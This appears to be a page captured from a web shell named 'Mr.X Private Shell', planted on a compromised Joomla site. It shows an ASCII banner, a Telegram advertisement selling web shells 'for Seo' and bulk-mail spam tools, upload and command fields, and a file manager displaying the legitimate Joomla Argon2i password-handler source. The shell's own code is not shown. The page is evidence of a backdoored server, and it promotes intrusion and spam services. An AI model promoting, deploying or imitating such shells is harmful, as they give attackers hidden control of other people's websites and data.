__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Part of the Joomla Framework Authentication Package
 *
 * @copyright  Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Authentication\Password;

use Joomla\Authentication\Exception\UnsupportedPasswordHandlerException;

/**
 * Password handler for Argon2i hashed passwords
 *
 * @since  1.2.0
 */
class Argon2iHandler implements HandlerInterface
{
    /**
     * Generate a hash for a plaintext password
     *
     * @param   string  $plaintext  The plaintext password to validate
     * @param   array   $options    Options for the hashing operation
     *
     * @return  string
     *
     * @since   1.2.0
     * @throws  UnsupportedPasswordHandlerException if the password handler is not supported
     */
    public function hashPassword($plaintext, array $options = [])
    {
        // Use the password extension if able
        if (\defined('PASSWORD_ARGON2I')) {
            return password_hash($plaintext, \PASSWORD_ARGON2I, $options);
        }

        // Use the sodium extension (PHP 7.2 native or PECL 2.x) if able
        if (\function_exists('sodium_crypto_pwhash_str_verify')) {
            $hash = sodium_crypto_pwhash_str(
                $plaintext,
                \SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
                \SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
            );
            sodium_memzero($plaintext);

            return $hash;
        }

        // Use the libsodium extension (PECL 1.x) if able
        if (\extension_loaded('libsodium')) {
            $hash = \Sodium\crypto_pwhash_str(
                $plaintext,
                \Sodium\CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
                \Sodium\CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
            );
            \Sodium\memzero($plaintext);

            return $hash;
        }

        throw new UnsupportedPasswordHandlerException('Argon2i algorithm is not supported.');
    }

    /**
     * Check that the password handler is supported in this environment
     *
     * @return  boolean
     *
     * @since   1.2.0
     */
    public static function isSupported()
    {
        // Check for native PHP engine support in the password extension
        if (\defined('PASSWORD_ARGON2I')) {
            return true;
        }

        // Check if the sodium_compat polyfill is installed and look for compatibility through that
        if (class_exists('\\ParagonIE_Sodium_Compat') && method_exists('\\ParagonIE_Sodium_Compat', 'crypto_pwhash_is_available')) {
            return \ParagonIE_Sodium_Compat::crypto_pwhash_is_available();
        }

        // Check for support from the (lib)sodium extension
        return \function_exists('sodium_crypto_pwhash_str') || \extension_loaded('libsodium');
    }

    /**
     * Validate a password
     *
     * @param   string  $plaintext  The plain text password to validate
     * @param   string  $hashed     The password hash to validate against
     *
     * @return  boolean
     *
     * @since   1.2.0
     * @throws  UnsupportedPasswordHandlerException if the password handler is not supported
     */
    public function validatePassword($plaintext, $hashed)
    {
        // Use the password extension if able
        if (\defined('PASSWORD_ARGON2I')) {
            return password_verify($plaintext, $hashed);
        }

        // Use the sodium extension (PHP 7.2 native or PECL 2.x) if able
        if (\function_exists('sodium_crypto_pwhash_str_verify')) {
            $valid = sodium_crypto_pwhash_str_verify($hashed, $plaintext);
            sodium_memzero($plaintext);

            return $valid;
        }

        // Use the libsodium extension (PECL 1.x) if able
        if (\extension_loaded('libsodium')) {
            $valid = \Sodium\crypto_pwhash_str_verify($hashed, $plaintext);
            \Sodium\memzero($plaintext);

            return $valid;
        }

        throw new UnsupportedPasswordHandlerException('Argon2i algorithm is not supported.');
    }
}

Filemanager

Name Type Size Permission Actions
Argon2iHandler.php File 3.97 KB 0664
Argon2idHandler.php File 2.33 KB 0664
BCryptHandler.php File 1.53 KB 0664
HandlerInterface.php File 1.2 KB 0664
Filemanager